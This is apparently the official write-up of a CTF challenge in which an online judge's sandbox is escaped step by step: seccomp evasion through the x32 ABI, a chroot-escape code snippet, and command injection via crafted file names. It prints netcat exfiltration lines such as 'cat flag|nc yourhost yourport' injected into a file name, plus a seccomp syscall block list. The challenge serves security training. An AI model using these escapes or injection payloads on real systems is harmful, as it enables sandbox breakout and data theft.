Tags: namespace onlinejudge chroot seccomp
Rating: 3.0
## boj official writeup
blue-lotus onlinejudge judge system, as you know, the code you submit will be run on remote server.
[challenge environment](https://github.com/A7um/bctf2017/tree/master/boj)
### step 1 escape seccomp
1. try to connect back to your host by
	
	```
	system("echo hello|nc yourhost yourport") 
	result: failed, remote server filtered syscall execve
	socket(yourhost:yourport)->send("hello") 
	result: wow, you get hello on yourhost:yourport
	```
	
2. use opendir->readdir->socket->send to list remote dir 
	```
	scf.so
	14xxxxxxxx
	```
	
3. dump scf.so by open->read->socket->send. by reversing scf.so, you find that scf.so applied a seccomp syscall filter by hooking \_\_libc\_start\_main. 
	```
	#define VALIDATE_ARCHITECTURE \
	BPF_STMT(BPF_LD+BPF_W+BPF_ABS, arch_nr), \
	BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, ARCH_NR, 1, 0), \
	BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
	
	#define EXAMINE_SYSCALL \
	BPF_STMT(BPF_LD+BPF_W+BPF_ABS, syscall_nr)
	
	#define BLOCK_SYSCALL(name) \
	BPF_JUMP(BPF_JMP+BPF_JEQ+BPF_K, __NR_##name, 0, 1), \
	BPF_STMT(BPF_RET+BPF_K, SECCOMP_RET_KILL)
	
	/* Validate architecture. */
	VALIDATE_ARCHITECTURE,
	/* Grab the system call number. */
	EXAMINE_SYSCALL,
	BLOCK_SYSCALL(execve),
	BLOCK_SYSCALL(fork),
	BLOCK_SYSCALL(ptrace),
	BLOCK_SYSCALL(clone),
	BLOCK_SYSCALL(chroot),
	BLOCK_SYSCALL(pivot_root),
	BLOCK_SYSCALL(process_vm_readv),
	BLOCK_SYSCALL(process_vm_writev),
	ALLOW_PROCESS,
	```
	
obviously, this filter can be evaded by x32abi.
### step 2 escape chroot
1. run some api to gather infomation such as:
	
	```
	getuid,ret 0 
	getpid,ret 3
	getcwd,ret /root/
	
	system("ls everywhere")
	cannot find flag and directory is not complete. you realize that you are in a chroot environment. 
	```
	
2. escape chroot by
	```
	mkdir("tmpdir", 0755);
    dir_fd = open(".", O_RDONLY);
    if(chroot("tmpdir")){
        perror("chroot");
    }
    fchdir(dir_fd);
    close(dir_fd);  
    for(x = 0; x < 1000; x++) chdir("..");
    chroot("."); 
	```
	
3. list dir outside, you find some interesting files
	```
	/flag
	/start.h
	/home/ctf/setup.h
	/home/ctf/oj/*
	```
	
4. try to read /flag, you get permission deny. run system("ls -al /flag"), you get
	
	```
	-r--r----- 1 nobody nogroup    46 Apr 14 03:21 flag
	```
	
5. read /start.sh and /home/ctf/setup.sh, you find some binaries of boj: 
	
	```
	/usr/lib/cgi-bin/onlinejudge.cgi
	/usr/lib/cgi-bin/statequery.cgi
	/home/ctf/oj/sandbox/sandbox
	/home/ctf/oj/sandbox/scf.so
	/home/ctf/oj/sandbox/cr
	```
	
6. dump these binaries
### step 3 escape usernamespace
1. reverse sandbox, you find you are in a user namepsace. the root you own is not a real root. uid=0 inside namespace is mapped to uid=1000 outside.
2. reverse cr, you find there is a command injection bug. 
	```
	int run(char* binname){
	....
		snprintf(runcmd,310,"%s %s",sandboxpath,binpath);
	....
		if(pid==0){
	        drop(1000,1000);
	        if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
	            perror("signal");
	        }
	        alarm(2);
	        snprintf(state,300,"submit id: %s
state: %s
result: %s
",submitid,"Runing","N/A");
	        fd=open(statepath,O_WRONLY|O_CREAT);
	        write(fd,state,strlen(state));
	        close(fd);
	        chdir(sandboxdirname);
	        system(runcmd);
	....
	
	```
	
3. cr is running outside the namespace, you can inject command to get which user&group the flag really belong to
	```
		touch '/home/ctf/oj/bin/ad.c;ls -al flag|nc yourhost yourport';
		-r--r----- 1 root www-data    46 Apr 14 03:21 flag
	```
	
4. www-data is uid=33 && gid=33(read /etc/passwd). by reversing cr, you find: cr set it uid&&gid to 33 before compile. and by the way, these is a command injection error in compile function.
	```
	int compile(char *srcname){
	....
	 	snprintf(compilecmd,310,"gcc -o %s %s",binpath,srcpath);
	....
		if(pid==0)
		    {
		        drop(33,33);
		        if (signal(SIGALRM, (__sighandler_t)timeouthandler) < 0){
		            perror("signal");
		        }
		        alarm(1);
		        snprintf(state,300,"submit id: %s
state: %s
result: %s
",submitid,"Compiling","N/A");
		        fd=open(statepath,O_WRONLY|O_CREAT);
		        write(fd,state,strlen(state));
		        close(fd);
		        system(compilecmd);//file name command injuection
	....
	```
	
5. read flag by submiting system("touch '/home/ctf/oj/src/hahaha.c;cat flag|nc yourhost yourport;'"); 
6. you get flag on your own host, done :) 
### something else
Chanllenge boj is designed to be a whitebox challenge mainly, the only blackbox step is try to connect back and get scf.so. after you get scf.so, you need to do something like: list dir->dump binaries->reversing->exploit->list dir->dump binaries->reversing->exploit...
I saw some teams tried and guessed blindly during the game. as we know, such guessing and trying is boring. I feel so sorry about that, maybe some infomation in this challenge mislead you guys to do a purely blackbox attack.